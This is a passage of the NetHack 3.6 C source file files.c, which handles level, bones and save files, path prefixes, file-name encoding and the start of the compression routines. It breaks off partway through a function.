/* NetHack 3.6 files.c $NHDT-Date: 1574116097 2019/11/18 22:28:17 $ $NHDT-Branch: NetHack-3.6 $:$NHDT-Revision: 1.272 $ */ /* Copyright (c) Stichting Mathematisch Centrum, Amsterdam, 1985. */ /*-Copyright (c) Derek S. Ray, 2015. */ /* NetHack may be freely redistributed. See license for details. */ #define NEED_VARARGS #include "hack.h" #include "dlb.h" #ifdef TTY_GRAPHICS #include "wintty.h" /* more() */ #endif #if (!defined(MAC) && !defined(O_WRONLY) && !defined(AZTEC_C)) \ || defined(USE_FCNTL) #include <fcntl.h> #endif #include <errno.h> #ifdef _MSC_VER /* MSC 6.0 defines errno quite differently */ #if (_MSC_VER >= 600) #define SKIP_ERRNO #endif #else #ifdef NHSTDC #define SKIP_ERRNO #endif #endif #ifndef SKIP_ERRNO #ifdef _DCC const #endif extern int errno; #endif #ifdef ZLIB_COMP /* RLC 09 Mar 1999: Support internal ZLIB */ #include "zlib.h" #ifndef COMPRESS_EXTENSION #define COMPRESS_EXTENSION ".gz" #endif #endif #if defined(UNIX) && defined(QT_GRAPHICS) #include <sys/types.h> #include <dirent.h> #include <stdlib.h> #endif #if defined(UNIX) || defined(VMS) || !defined(NO_SIGNAL) #include <signal.h> #endif #if defined(MSDOS) || defined(OS2) || defined(TOS) || defined(WIN32) #ifndef __DJGPP__ #include <sys\stat.h> #else #include <sys/stat.h> #endif #endif #ifndef O_BINARY /* used for micros, no-op for others */ #define O_BINARY 0 #endif #ifdef PREFIXES_IN_USE #define FQN_NUMBUF 4 static char fqn_filename_buffer[FQN_NUMBUF][FQN_MAX_FILENAME]; #endif #if !defined(MFLOPPY) && !defined(VMS) && !defined(WIN32) char bones[] = "bonesnn.xxx"; char lock[PL_NSIZ + 14] = "1lock"; /* long enough for uid+name+.99 */ #else #if defined(MFLOPPY) char bones[FILENAME]; /* pathname of bones files */ char lock[FILENAME]; /* pathname of level files */ #endif #if defined(VMS) char bones[] = "bonesnn.xxx;1"; char lock[PL_NSIZ + 17] = "1lock"; /* long enough for _uid+name+.99;1 */ #endif #if defined(WIN32) char bones[] = "bonesnn.xxx"; char lock[PL_NSIZ + 25]; /* long enough for username+-+name+.99 */ #endif #endif #if defined(UNIX) || defined(__BEOS__) #define SAVESIZE (PL_NSIZ + 13) /* save/99999player.e */ #else #ifdef VMS #define SAVESIZE (PL_NSIZ + 22) /* [.save]<uid>player.e;1 */ #else #if defined(WIN32) #define SAVESIZE (PL_NSIZ + 40) /* username-player.NetHack-saved-game */ #else #define SAVESIZE FILENAME /* from macconf.h or pcconf.h */ #endif #endif #endif #if !defined(SAVE_EXTENSION) #ifdef MICRO #define SAVE_EXTENSION ".sav" #endif #ifdef WIN32 #define SAVE_EXTENSION ".NetHack-saved-game" #endif #endif char SAVEF[SAVESIZE]; /* holds relative path of save file from playground */ #ifdef MICRO char SAVEP[SAVESIZE]; /* holds path of directory for save file */ #endif #ifdef HOLD_LOCKFILE_OPEN struct level_ftrack { int init; int fd; /* file descriptor for level file */ int oflag; /* open flags */ boolean nethack_thinks_it_is_open; /* Does NetHack think it's open? */ } lftrack; #if defined(WIN32) #include <share.h> #endif #endif /*HOLD_LOCKFILE_OPEN*/ #define WIZKIT_MAX 128 static char wizkit[WIZKIT_MAX]; STATIC_DCL FILE *NDECL(fopen_wizkit_file); STATIC_DCL void FDECL(wizkit_addinv, (struct obj *)); #ifdef AMIGA extern char PATH[]; /* see sys/amiga/amidos.c */ extern char bbs_id[]; static int lockptr; #ifdef __SASC_60 #include <proto/dos.h> #endif #include <libraries/dos.h> extern void FDECL(amii_set_text_font, (char *, int)); #endif #if defined(WIN32) || defined(MSDOS) static int lockptr; #ifdef MSDOS #define Delay(a) msleep(a) #endif #define Close close #ifndef WIN_CE #define DeleteFile unlink #endif #ifdef WIN32 /*from windmain.c */ extern char *FDECL(translate_path_variables, (const char *, char *)); #endif #endif #ifdef MAC #undef unlink #define unlink macunlink #endif #if (defined(macintosh) && (defined(__SC__) || defined(__MRC__))) \ || defined(__MWERKS__) #define PRAGMA_UNUSED #endif #ifdef USER_SOUNDS extern char *sounddir; #endif extern int n_dgns; /* from dungeon.c */ #if defined(UNIX) && defined(QT_GRAPHICS) #define SELECTSAVED #endif #ifdef SELECTSAVED STATIC_PTR int FDECL(CFDECLSPEC strcmp_wrap, (const void *, const void *)); #endif STATIC_DCL char *FDECL(set_bonesfile_name, (char *, d_level *)); STATIC_DCL char *NDECL(set_bonestemp_name); #ifdef COMPRESS STATIC_DCL void FDECL(redirect, (const char *, const char *, FILE *, BOOLEAN_P)); #endif #if defined(COMPRESS) || defined(ZLIB_COMP) STATIC_DCL void FDECL(docompress_file, (const char *, BOOLEAN_P)); #endif #if defined(ZLIB_COMP) STATIC_DCL boolean FDECL(make_compressed_name, (const char *, char *)); #endif #ifndef USE_FCNTL STATIC_DCL char *FDECL(make_lockname, (const char *, char *)); #endif STATIC_DCL void FDECL(set_configfile_name, (const char *)); STATIC_DCL FILE *FDECL(fopen_config_file, (const char *, int)); STATIC_DCL int FDECL(get_uchars, (char *, uchar *, BOOLEAN_P, int, const char *)); boolean FDECL(proc_wizkit_line, (char *)); boolean FDECL(parse_config_line, (char *)); STATIC_DCL boolean FDECL(parse_conf_file, (FILE *, boolean (*proc)(char *))); STATIC_DCL FILE *NDECL(fopen_sym_file); boolean FDECL(proc_symset_line, (char *)); STATIC_DCL void FDECL(set_symhandling, (char *, int)); #ifdef NOCWD_ASSUMPTIONS STATIC_DCL void FDECL(adjust_prefix, (char *, int)); #endif STATIC_DCL boolean FDECL(config_error_nextline, (const char *)); STATIC_DCL void NDECL(free_config_sections); STATIC_DCL char *FDECL(choose_random_part, (char *, CHAR_P)); STATIC_DCL boolean FDECL(is_config_section, (const char *)); STATIC_DCL boolean FDECL(handle_config_section, (char *)); #ifdef SELF_RECOVER STATIC_DCL boolean FDECL(copy_bytes, (int, int)); #endif #ifdef HOLD_LOCKFILE_OPEN STATIC_DCL int FDECL(open_levelfile_exclusively, (const char *, int, int)); #endif static char *config_section_chosen = (char *) 0; static char *config_section_current = (char *) 0; /* * fname_encode() * * Args: * legal zero-terminated list of acceptable file name characters * quotechar lead-in character used to quote illegal characters as * hex digits * s string to encode * callerbuf buffer to house result * bufsz size of callerbuf * * Notes: * The hex digits 0-9 and A-F are always part of the legal set due to * their use in the encoding scheme, even if not explicitly included in * 'legal'. * * Sample: * The following call: * (void)fname_encode("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", * '%', "This is a % test!", buf, 512); * results in this encoding: * "This%20is%20a%20%25%20test%21" */ char * fname_encode(legal, quotechar, s, callerbuf, bufsz) const char *legal; char quotechar; char *s, *callerbuf; int bufsz; { char *sp, *op; int cnt = 0; static char hexdigits[] = "0123456789ABCDEF"; sp = s; op = callerbuf; *op = '\0'; while (*sp) { /* Do we have room for one more character or encoding? */ if ((bufsz - cnt) <= 4) return callerbuf; if (*sp == quotechar) { (void) sprintf(op, "%c%02X", quotechar, *sp); op += 3; cnt += 3; } else if ((index(legal, *sp) != 0) || (index(hexdigits, *sp) != 0)) { *op++ = *sp; *op = '\0'; cnt++; } else { (void) sprintf(op, "%c%02X", quotechar, *sp); op += 3; cnt += 3; } sp++; } return callerbuf; } /* * fname_decode() * * Args: * quotechar lead-in character used to quote illegal characters as * hex digits * s string to decode * callerbuf buffer to house result * bufsz size of callerbuf */ char * fname_decode(quotechar, s, callerbuf, bufsz) char quotechar; char *s, *callerbuf; int bufsz; { char *sp, *op; int k, calc, cnt = 0; static char hexdigits[] = "0123456789ABCDEF"; sp = s; op = callerbuf; *op = '\0'; calc = 0; while (*sp) { /* Do we have room for one more character? */ if ((bufsz - cnt) <= 2) return callerbuf; if (*sp == quotechar) { sp++; for (k = 0; k < 16; ++k) if (*sp == hexdigits[k]) break; if (k >= 16) return callerbuf; /* impossible, so bail */ calc = k << 4; sp++; for (k = 0; k < 16; ++k) if (*sp == hexdigits[k]) break; if (k >= 16) return callerbuf; /* impossible, so bail */ calc += k; sp++; *op++ = calc; *op = '\0'; } else { *op++ = *sp++; *op = '\0'; } cnt++; } return callerbuf; } #ifdef PREFIXES_IN_USE #define UNUSED_if_not_PREFIXES_IN_USE /*empty*/ #else #define UNUSED_if_not_PREFIXES_IN_USE UNUSED #endif /*ARGSUSED*/ const char * fqname(basenam, whichprefix, buffnum) const char *basenam; int whichprefix UNUSED_if_not_PREFIXES_IN_USE; int buffnum UNUSED_if_not_PREFIXES_IN_USE; { #ifdef PREFIXES_IN_USE char *bufptr; #endif #ifdef WIN32 char tmpbuf[BUFSZ]; #endif #ifndef PREFIXES_IN_USE return basenam; #else if (!basenam || whichprefix < 0 || whichprefix >= PREFIX_COUNT) return basenam; if (!fqn_prefix[whichprefix]) return basenam; if (buffnum < 0 || buffnum >= FQN_NUMBUF) { impossible("Invalid fqn_filename_buffer specified: %d", buffnum); buffnum = 0; } bufptr = fqn_prefix[whichprefix]; #ifdef WIN32 if (strchr(fqn_prefix[whichprefix], '%') || strchr(fqn_prefix[whichprefix], '~')) bufptr = translate_path_variables(fqn_prefix[whichprefix], tmpbuf); #endif if (strlen(bufptr) + strlen(basenam) >= FQN_MAX_FILENAME) { impossible("fqname too long: %s + %s", bufptr, basenam); return basenam; /* XXX */ } Strcpy(fqn_filename_buffer[buffnum], bufptr); return strcat(fqn_filename_buffer[buffnum], basenam); #endif /* !PREFIXES_IN_USE */ } int validate_prefix_locations(reasonbuf) char *reasonbuf; /* reasonbuf must be at least BUFSZ, supplied by caller */ { #if defined(NOCWD_ASSUMPTIONS) FILE *fp; const char *filename; int prefcnt, failcount = 0; char panicbuf1[BUFSZ], panicbuf2[BUFSZ]; const char *details; #endif if (reasonbuf) reasonbuf[0] = '\0'; #if defined(NOCWD_ASSUMPTIONS) for (prefcnt = 1; prefcnt < PREFIX_COUNT; prefcnt++) { /* don't test writing to configdir or datadir; they're readonly */ if (prefcnt == SYSCONFPREFIX || prefcnt == CONFIGPREFIX || prefcnt == DATAPREFIX) continue; filename = fqname("validate", prefcnt, 3); if ((fp = fopen(filename, "w"))) { fclose(fp); (void) unlink(filename); } else { if (reasonbuf) { if (failcount) Strcat(reasonbuf, ", "); Strcat(reasonbuf, fqn_prefix_names[prefcnt]); } /* the paniclog entry gets the value of errno as well */ Sprintf(panicbuf1, "Invalid %s", fqn_prefix_names[prefcnt]); #if defined(NHSTDC) && !defined(NOTSTDC) if (!(details = strerror(errno))) #endif details = ""; Sprintf(panicbuf2, "\"%s\", (%d) %s", fqn_prefix[prefcnt], errno, details); paniclog(panicbuf1, panicbuf2); failcount++; } } if (failcount) return 0; else #endif return 1; } /* fopen a file, with OS-dependent bells and whistles */ /* NOTE: a simpler version of this routine also exists in util/dlb_main.c */ FILE * fopen_datafile(filename, mode, prefix) const char *filename, *mode; int prefix; { FILE *fp; filename = fqname(filename, prefix, prefix == TROUBLEPREFIX ? 3 : 0); fp = fopen(filename, mode); return fp; } /* ---------- BEGIN LEVEL FILE HANDLING ----------- */ #ifdef MFLOPPY /* Set names for bones[] and lock[] */ void set_lock_and_bones() { if (!ramdisk) { Strcpy(levels, permbones); Strcpy(bones, permbones); } append_slash(permbones); append_slash(levels); #ifdef AMIGA strncat(levels, bbs_id, PATHLEN); #endif append_slash(bones); Strcat(bones, "bonesnn.*"); Strcpy(lock, levels); #ifndef AMIGA Strcat(lock, alllevels); #endif return; } #endif /* MFLOPPY */ /* Construct a file name for a level-type file, which is of the form * something.level (with any old level stripped off). * This assumes there is space on the end of 'file' to append * a two digit number. This is true for 'level' * but be careful if you use it for other things -dgk */ void set_levelfile_name(file, lev) char *file; int lev; { char *tf; tf = rindex(file, '.'); if (!tf) tf = eos(file); Sprintf(tf, ".%d", lev); #ifdef VMS Strcat(tf, ";1"); #endif return; } int create_levelfile(lev, errbuf) int lev; char errbuf[]; { int fd; const char *fq_lock; if (errbuf) *errbuf = '\0'; set_levelfile_name(lock, lev); fq_lock = fqname(lock, LEVELPREFIX, 0); #if defined(MICRO) || defined(WIN32) /* Use O_TRUNC to force the file to be shortened if it already * exists and is currently longer. */ #ifdef HOLD_LOCKFILE_OPEN if (lev == 0) fd = open_levelfile_exclusively( fq_lock, lev, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY); else #endif fd = open(fq_lock, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY, FCMASK); #else #ifdef MAC fd = maccreat(fq_lock, LEVL_TYPE); #else fd = creat(fq_lock, FCMASK); #endif #endif /* MICRO || WIN32 */ if (fd >= 0) level_info[lev].flags |= LFILE_EXISTS; else if (errbuf) /* failure explanation */ Sprintf(errbuf, "Cannot create file \"%s\" for level %d (errno %d).", lock, lev, errno); return fd; } int open_levelfile(lev, errbuf) int lev; char errbuf[]; { int fd; const char *fq_lock; if (errbuf) *errbuf = '\0'; set_levelfile_name(lock, lev); fq_lock = fqname(lock, LEVELPREFIX, 0); #ifdef MFLOPPY /* If not currently accessible, swap it in. */ if (level_info[lev].where != ACTIVE) swapin_file(lev); #endif #ifdef MAC fd = macopen(fq_lock, O_RDONLY | O_BINARY, LEVL_TYPE); #else #ifdef HOLD_LOCKFILE_OPEN if (lev == 0) fd = open_levelfile_exclusively(fq_lock, lev, O_RDONLY | O_BINARY); else #endif fd = open(fq_lock, O_RDONLY | O_BINARY, 0); #endif /* for failure, return an explanation that our caller can use; settle for `lock' instead of `fq_lock' because the latter might end up being too big for nethack's BUFSZ */ if (fd < 0 && errbuf) Sprintf(errbuf, "Cannot open file \"%s\" for level %d (errno %d).", lock, lev, errno); return fd; } void delete_levelfile(lev) int lev; { /* * Level 0 might be created by port specific code that doesn't * call create_levfile(), so always assume that it exists. */ if (lev == 0 || (level_info[lev].flags & LFILE_EXISTS)) { set_levelfile_name(lock, lev); #ifdef HOLD_LOCKFILE_OPEN if (lev == 0) really_close(); #endif (void) unlink(fqname(lock, LEVELPREFIX, 0)); level_info[lev].flags &= ~LFILE_EXISTS; } } void clearlocks() { #ifdef HANGUPHANDLING if (program_state.preserve_locks) return; #endif #if !defined(PC_LOCKING) && defined(MFLOPPY) && !defined(AMIGA) eraseall(levels, alllevels); if (ramdisk) eraseall(permbones, alllevels); #else { register int x; #ifndef NO_SIGNAL (void) signal(SIGINT, SIG_IGN); #endif #if defined(UNIX) || defined(VMS) sethanguphandler((void FDECL((*), (int) )) SIG_IGN); #endif /* can't access maxledgerno() before dungeons are created -dlc */ for (x = (n_dgns ? maxledgerno() : 0); x >= 0; x--) delete_levelfile(x); /* not all levels need be present */ } #endif /* ?PC_LOCKING,&c */ } #if defined(SELECTSAVED) /* qsort comparison routine */ STATIC_OVL int CFDECLSPEC strcmp_wrap(p, q) const void *p; const void *q; { #if defined(UNIX) && defined(QT_GRAPHICS) return strncasecmp(*(char **) p, *(char **) q, 16); #else return strncmpi(*(char **) p, *(char **) q, 16); #endif } #endif #ifdef HOLD_LOCKFILE_OPEN STATIC_OVL int open_levelfile_exclusively(name, lev, oflag) const char *name; int lev, oflag; { int reslt, fd; if (!lftrack.init) { lftrack.init = 1; lftrack.fd = -1; } if (lftrack.fd >= 0) { /* check for compatible access */ if (lftrack.oflag == oflag) { fd = lftrack.fd; reslt = lseek(fd, 0L, SEEK_SET); if (reslt == -1L) panic("open_levelfile_exclusively: lseek failed %d", errno); lftrack.nethack_thinks_it_is_open = TRUE; } else { really_close(); fd = sopen(name, oflag, SH_DENYRW, FCMASK); lftrack.fd = fd; lftrack.oflag = oflag; lftrack.nethack_thinks_it_is_open = TRUE; } } else { fd = sopen(name, oflag, SH_DENYRW, FCMASK); lftrack.fd = fd; lftrack.oflag = oflag; if (fd >= 0) lftrack.nethack_thinks_it_is_open = TRUE; } return fd; } void really_close() { int fd; if (lftrack.init) { fd = lftrack.fd; lftrack.nethack_thinks_it_is_open = FALSE; lftrack.fd = -1; lftrack.oflag = 0; if (fd != -1) (void) close(fd); } return; } int nhclose(fd) int fd; { if (lftrack.fd == fd) { really_close(); /* close it, but reopen it to hold it */ fd = open_levelfile(0, (char *) 0); lftrack.nethack_thinks_it_is_open = FALSE; return 0; } return close(fd); } #else /* !HOLD_LOCKFILE_OPEN */ int nhclose(fd) int fd; { return close(fd); } #endif /* ?HOLD_LOCKFILE_OPEN */ /* ---------- END LEVEL FILE HANDLING ----------- */ /* ---------- BEGIN BONES FILE HANDLING ----------- */ /* set up "file" to be file name for retrieving bones, and return a * bonesid to be read/written in the bones file. */ STATIC_OVL char * set_bonesfile_name(file, lev) char *file; d_level *lev; { s_level *sptr; char *dptr; /* * "bonD0.nn" = bones for level nn in the main dungeon; * "bonM0.T" = bones for Minetown; * "bonQBar.n" = bones for level n in the Barbarian quest; * "bon3D0.nn" = \ * "bon3M0.T" = > same as above, but for bones pool #3. * "bon3QBar.n" = / * * Return value for content validation skips "bon" and the * pool number (if present), making it feasible for the admin * to manually move a bones file from one pool to another by * renaming it. */ Strcpy(file, "bon"); #ifdef SYSCF if (sysopt.bones_pools > 1) { unsigned poolnum = min((unsigned) sysopt.bones_pools, 10); poolnum = (unsigned) ubirthday % poolnum; /* 0..9 */ Sprintf(eos(file), "%u", poolnum); } #endif dptr = eos(file); /* this used to be after the following Sprintf() and the return value was (dptr - 2) */ /* when this naming scheme was adopted, 'filecode' was one letter; 3.3.0 turned it into a three letter string (via roles[] in role.c); from that version through 3.6.0, 'dptr' pointed past the filecode and the return value of (dptr - 2) was wrong for bones produced in the quest branch, skipping the boneid character 'Q' and the first letter of the role's filecode; bones loading still worked because the bonesid used for validation had the same error */ Sprintf(dptr, "%c%s", dungeons[lev->dnum].boneid, In_quest(lev) ? urole.filecode : "0"); if ((sptr = Is_special(lev)) != 0) Sprintf(eos(dptr), ".%c", sptr->boneid); else Sprintf(eos(dptr), ".%d", lev->dlevel); #ifdef VMS Strcat(dptr, ";1"); #endif return dptr; } /* set up temporary file name for writing bones, to avoid another game's * trying to read from an uncompleted bones file. we want an uncontentious * name, so use one in the namespace reserved for this game's level files. * (we are not reading or writing level files while writing bones files, so * the same array may be used instead of copying.) */ STATIC_OVL char * set_bonestemp_name() { char *tf; tf = rindex(lock, '.'); if (!tf) tf = eos(lock); Sprintf(tf, ".bn"); #ifdef VMS Strcat(tf, ";1"); #endif return lock; } int create_bonesfile(lev, bonesid, errbuf) d_level *lev; char **bonesid; char errbuf[]; { const char *file; int fd; if (errbuf) *errbuf = '\0'; *bonesid = set_bonesfile_name(bones, lev); file = set_bonestemp_name(); file = fqname(file, BONESPREFIX, 0); #if defined(MICRO) || defined(WIN32) /* Use O_TRUNC to force the file to be shortened if it already * exists and is currently longer. */ fd = open(file, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY, FCMASK); #else #ifdef MAC fd = maccreat(file, BONE_TYPE); #else fd = creat(file, FCMASK); #endif #endif if (fd < 0 && errbuf) /* failure explanation */ Sprintf(errbuf, "Cannot create bones \"%s\", id %s (errno %d).", lock, *bonesid, errno); #if defined(VMS) && !defined(SECURE) /* Re-protect bones file with world:read+write+execute+delete access. umask() doesn't seem very reliable; also, vaxcrtl won't let us set delete access without write access, which is what's really wanted. Can't simply create it with the desired protection because creat ANDs the mask with the user's default protection, which usually denies some or all access to world. */ (void) chmod(file, FCMASK | 007); /* allow other users full access */ #endif /* VMS && !SECURE */ return fd; } #ifdef MFLOPPY /* remove partial bonesfile in process of creation */ void cancel_bonesfile() { const char *tempname; tempname = set_bonestemp_name(); tempname = fqname(tempname, BONESPREFIX, 0); (void) unlink(tempname); } #endif /* MFLOPPY */ /* move completed bones file to proper name */ void commit_bonesfile(lev) d_level *lev; { const char *fq_bones, *tempname; int ret; (void) set_bonesfile_name(bones, lev); fq_bones = fqname(bones, BONESPREFIX, 0); tempname = set_bonestemp_name(); tempname = fqname(tempname, BONESPREFIX, 1); #if (defined(SYSV) && !defined(SVR4)) || defined(GENIX) /* old SYSVs don't have rename. Some SVR3's may, but since they * also have link/unlink, it doesn't matter. :-) */ (void) unlink(fq_bones); ret = link(tempname, fq_bones); ret += unlink(tempname); #else ret = rename(tempname, fq_bones); #endif if (wizard && ret != 0) pline("couldn't rename %s to %s.", tempname, fq_bones); } int open_bonesfile(lev, bonesid) d_level *lev; char **bonesid; { const char *fq_bones; int fd; *bonesid = set_bonesfile_name(bones, lev); fq_bones = fqname(bones, BONESPREFIX, 0); nh_uncompress(fq_bones); /* no effect if nonexistent */ #ifdef MAC fd = macopen(fq_bones, O_RDONLY | O_BINARY, BONE_TYPE); #else fd = open(fq_bones, O_RDONLY | O_BINARY, 0); #endif return fd; } int delete_bonesfile(lev) d_level *lev; { (void) set_bonesfile_name(bones, lev); return !(unlink(fqname(bones, BONESPREFIX, 0)) < 0); } /* assume we're compressing the recently read or created bonesfile, so the * file name is already set properly */ void compress_bonesfile() { nh_compress(fqname(bones, BONESPREFIX, 0)); } /* ---------- END BONES FILE HANDLING ----------- */ /* ---------- BEGIN SAVE FILE HANDLING ----------- */ /* set savefile name in OS-dependent manner from pre-existing plname, * avoiding troublesome characters */ void set_savefile_name(regularize_it) boolean regularize_it; { #ifdef VMS Sprintf(SAVEF, "[.save]%d%s", getuid(), plname); if (regularize_it) regularize(SAVEF + 7); Strcat(SAVEF, ";1"); #else #if defined(MICRO) Strcpy(SAVEF, SAVEP); #ifdef AMIGA strncat(SAVEF, bbs_id, PATHLEN); #endif { int i = strlen(SAVEP); #ifdef AMIGA /* plname has to share space with SAVEP and ".sav" */ (void) strncat(SAVEF, plname, FILENAME - i - 4); #else (void) strncat(SAVEF, plname, 8); #endif if (regularize_it) regularize(SAVEF + i); } Strcat(SAVEF, SAVE_EXTENSION); #else #if defined(WIN32) { static const char okchars[] = "*ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-."; const char *legal = okchars; char fnamebuf[BUFSZ], encodedfnamebuf[BUFSZ]; /* Obtain the name of the logged on user and incorporate * it into the name. */ Sprintf(fnamebuf, "%s", plname); if (regularize_it) ++legal; /* skip '*' wildcard character */ (void) fname_encode(legal, '%', fnamebuf, encodedfnamebuf, BUFSZ); Sprintf(SAVEF, "%s%s", encodedfnamebuf, SAVE_EXTENSION); } #else /* not VMS or MICRO or WIN32 */ Sprintf(SAVEF, "save/%d%s", (int) getuid(), plname); if (regularize_it) regularize(SAVEF + 5); /* avoid . or / in name */ #endif /* WIN32 */ #endif /* MICRO */ #endif /* VMS */ } #ifdef INSURANCE void save_savefile_name(fd) int fd; { (void) write(fd, (genericptr_t) SAVEF, sizeof(SAVEF)); } #endif #ifndef MICRO /* change pre-existing savefile name to indicate an error savefile */ void set_error_savefile() { #ifdef VMS { char *semi_colon = rindex(SAVEF, ';'); if (semi_colon) *semi_colon = '\0'; } Strcat(SAVEF, ".e;1"); #else #ifdef MAC Strcat(SAVEF, "-e"); #else Strcat(SAVEF, ".e"); #endif #endif } #endif /* create save file, overwriting one if it already exists */ int create_savefile() { const char *fq_save; int fd; fq_save = fqname(SAVEF, SAVEPREFIX, 0); #if defined(MICRO) || defined(WIN32) fd = open(fq_save, O_WRONLY | O_BINARY | O_CREAT | O_TRUNC, FCMASK); #else #ifdef MAC fd = maccreat(fq_save, SAVE_TYPE); #else fd = creat(fq_save, FCMASK); #endif #if defined(VMS) && !defined(SECURE) /* Make sure the save file is owned by the current process. That's the default for non-privileged users, but for priv'd users the file will be owned by the directory's owner instead of the user. */ #undef getuid (void) chown(fq_save, getuid(), getgid()); #define getuid() vms_getuid() #endif /* VMS && !SECURE */ #endif /* MICRO */ return fd; } /* open savefile for reading */ int open_savefile() { const char *fq_save; int fd; fq_save = fqname(SAVEF, SAVEPREFIX, 0); #ifdef MAC fd = macopen(fq_save, O_RDONLY | O_BINARY, SAVE_TYPE); #else fd = open(fq_save, O_RDONLY | O_BINARY, 0); #endif return fd; } /* delete savefile */ int delete_savefile() { (void) unlink(fqname(SAVEF, SAVEPREFIX, 0)); return 0; /* for restore_saved_game() (ex-xxxmain.c) test */ } /* try to open up a save file and prepare to restore it */ int restore_saved_game() { const char *fq_save; int fd; reset_restpref(); set_savefile_name(TRUE); #ifdef MFLOPPY if (!saveDiskPrompt(1)) return -1; #endif /* MFLOPPY */ fq_save = fqname(SAVEF, SAVEPREFIX, 0); nh_uncompress(fq_save); if ((fd = open_savefile()) < 0) return fd; if (validate(fd, fq_save) != 0) { (void) nhclose(fd), fd = -1; (void) delete_savefile(); } return fd; } #if defined(SELECTSAVED) char * plname_from_file(filename) const char *filename; { int fd; char *result = 0; Strcpy(SAVEF, filename); #ifdef COMPRESS_EXTENSION SAVEF[strlen(SAVEF) - strlen(COMPRESS_EXTENSION)] = '\0'; #endif nh_uncompress(SAVEF); if ((fd = open_savefile()) >= 0) { if (validate(fd, filename) == 0) { char tplname[PL_NSIZ]; get_plname_from_file(fd, tplname); result = dupstr(tplname); } (void) nhclose(fd); } nh_compress(SAVEF); return result; #if 0 /* --------- obsolete - used to be ifndef STORE_PLNAME_IN_FILE ----*/ #if defined(UNIX) && defined(QT_GRAPHICS) /* Name not stored in save file, so we have to extract it from the filename, which loses information (eg. "/", "_", and "." characters are lost. */ int k; int uid; char name[64]; /* more than PL_NSIZ */ #ifdef COMPRESS_EXTENSION #define EXTSTR COMPRESS_EXTENSION #else #define EXTSTR "" #endif if ( sscanf( filename, "%*[^/]/%d%63[^.]" EXTSTR, &uid, name ) == 2 ) { #undef EXTSTR /* "_" most likely means " ", which certainly looks nicer */ for (k=0; name[k]; k++) if ( name[k] == '_' ) name[k] = ' '; return dupstr(name); } else #endif /* UNIX && QT_GRAPHICS */ { return 0; } /* --------- end of obsolete code ----*/ #endif /* 0 - WAS STORE_PLNAME_IN_FILE*/ } #endif /* defined(SELECTSAVED) */ char ** get_saved_games() { #if defined(SELECTSAVED) int n, j = 0; char **result = 0; #ifdef WIN32 { char *foundfile; const char *fq_save; const char *fq_new_save; const char *fq_old_save; char **files = 0; int i; Strcpy(plname, "*"); set_savefile_name(FALSE); #if defined(ZLIB_COMP) Strcat(SAVEF, COMPRESS_EXTENSION); #endif fq_save = fqname(SAVEF, SAVEPREFIX, 0); n = 0; foundfile = foundfile_buffer(); if (findfirst((char *) fq_save)) { do { ++n; } while (findnext()); } if (n > 0) { files = (char **) alloc((n + 1) * sizeof(char *)); /* at most */ (void) memset((genericptr_t) files, 0, (n + 1) * sizeof(char *)); if (findfirst((char *) fq_save)) { i = 0; do { files[i++] = strdup(foundfile); } while (findnext()); } } if (n > 0) { result = (char **) alloc((n + 1) * sizeof(char *)); /* at most */ (void) memset((genericptr_t) result, 0, (n + 1) * sizeof(char *)); for(i = 0; i < n; i++) { char *r; r = plname_from_file(files[i]); if (r) { /* rename file if it is not named as expected */ Strcpy(plname, r); set_savefile_name(FALSE); fq_new_save = fqname(SAVEF, SAVEPREFIX, 0); fq_old_save = fqname(files[i], SAVEPREFIX, 1); if(strcmp(fq_old_save, fq_new_save) != 0 && !file_exists(fq_new_save)) rename(fq_old_save, fq_new_save); result[j++] = r; } } } free_saved_games(files); } #endif #if defined(UNIX) && defined(QT_GRAPHICS) /* posixly correct version */ int myuid = getuid(); DIR *dir; if ((dir = opendir(fqname("save", SAVEPREFIX, 0)))) { for (n = 0; readdir(dir); n++) ; closedir(dir); if (n > 0) { int i; if (!(dir = opendir(fqname("save", SAVEPREFIX, 0)))) return 0; result = (char **) alloc((n + 1) * sizeof(char *)); /* at most */ (void) memset((genericptr_t) result, 0, (n + 1) * sizeof(char *)); for (i = 0, j = 0; i < n; i++) { int uid; char name[64]; /* more than PL_NSIZ */ struct dirent *entry = readdir(dir); if (!entry) break; if (sscanf(entry->d_name, "%d%63s", &uid, name) == 2) { if (uid == myuid) { char filename[BUFSZ]; char *r; Sprintf(filename, "save/%d%s", uid, name); r = plname_from_file(filename); if (r) result[j++] = r; } } } closedir(dir); } } #endif #ifdef VMS Strcpy(plname, "*"); set_savefile_name(FALSE); j = vms_get_saved_games(SAVEF, &result); #endif /* VMS */ if (j > 0) { if (j > 1) qsort(result, j, sizeof (char *), strcmp_wrap); result[j] = 0; return result; } else if (result) { /* could happen if save files are obsolete */ free_saved_games(result); } #endif /* SELECTSAVED */ return 0; } void free_saved_games(saved) char **saved; { if (saved) { int i = 0; while (saved[i]) free((genericptr_t) saved[i++]); free((genericptr_t) saved); } } /* ---------- END SAVE FILE HANDLING ----------- */ /* ---------- BEGIN FILE COMPRESSION HANDLING ----------- */ #ifdef COMPRESS STATIC_OVL void redirect(filename, mode, stream, uncomp) const char *filename, *mode; FILE *stream; boolean uncomp; { if (freopen(filename, mode, stream) == (FILE *) 0) { (void) fprintf(stderr, "freopen of %s for %scompress failed\n", filename, uncomp ? "un" : ""); nh_terminate(EXIT_FAILURE); } } /* * using system() is simpler, but opens up security holes and causes * problems on at least Interactive UNIX 3.0.1 (SVR3.2), where any * setuid is renounced by /bin/sh, so the files cannot be accessed. * * cf. child() in unixunix.c. */ STATIC_OVL void docompress_file(filename, uncomp) const char *filename; boolean uncomp; { char cfn[80]; FILE *cf; const char *args[10]; #ifdef COMPRESS_OPTIONS char opts[80]; #endif int i = 0; int f; #ifdef TTY_GRAPHICS boolean istty = WINDOWPORT("tty"); #endif Strcpy(cfn, filename); #ifdef COMPRESS_EXTENSION Strcat(cfn, COMPRESS_EXTENSION); #endif /* when compressing, we know the file exists */ if (uncomp) { if ((cf = fopen(cfn, RDBMODE)) == (FILE *) 0) return; (void) fclose(cf); } args[0] = COMPRESS; if (uncomp) args[++i] = "-d"; /* uncompress */ #ifdef COMPRESS_OPTIONS { /* we can't guarantee there's only one additional option, sigh */ char *opt; boolean inword = FALSE; Strcpy(opts, COMPRESS_OPTIONS); opt = opts; while (*opt) { if ((*opt == ' ') || (*opt == '\t')) { if 